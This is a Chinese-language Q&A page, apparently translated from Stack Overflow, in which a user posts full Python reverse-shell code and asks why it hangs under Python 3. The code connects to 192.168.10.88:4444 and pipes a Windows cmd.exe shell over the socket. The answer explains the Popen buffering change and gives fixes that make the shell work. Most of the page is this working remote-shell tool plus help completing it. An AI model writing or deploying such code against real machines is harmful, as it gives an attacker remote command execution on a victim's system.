Shell命令卡在python 3上,但在python 2上运行

问题描述 投票:1回答:1

以下是我的reverse_shell python代码

import os,socket,subprocess,threading
def s2p(s, p):
    while True:
        data = s.recv(1024)
        if len(data) > 0:
            p.stdin.write(data)


def p2s(s, p):
    while True:
        s.send(p.stdout.read(1))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.10.88",4444))

p=subprocess.Popen(['\\windows\system32\\cmd.exe'], stderr=subprocess.STDOUT, stdout=subprocess.PIPE, stdin=subprocess.PIPE)




s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()

p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()


try:
    p.wait()
except KeyboardInterrupt:
    s.close()

我正在使用netcat作为监听器。问题是当我运行上面的代码使用python 3.4 shell命令卡住而我没有得到输出但是如果我使用python 2它工作正常。

python python-2.7 shell python-3.4 reverse-shell
1个回答
1
投票

bufsizePopen的默认参数在Python 2和Python 3之间发生了变化。在Python 2中,0表示无缓冲。在Python 3,它是-1,这意味着使用大小io.DEFAULT_BUFFER_SIZE的缓冲区。在Python 3中程序占用了,因为程序已经将数据写入p.stdin,但还没有刷新它 - 因为缓冲区还没有填满。在Windows上,io.DEFAULT_BUFFER_SIZE是8,192,因此您需要在看到任何输出之前将8kB数据写入套接字(来自netcat)。

您可以切换回无缓冲的流,也可以在每次写入后手动刷新数据。或者你可以设置universal_newlines参数并使用行缓冲(bufsize=1)。

© www.soinside.com 2019 - 2024. All rights reserved.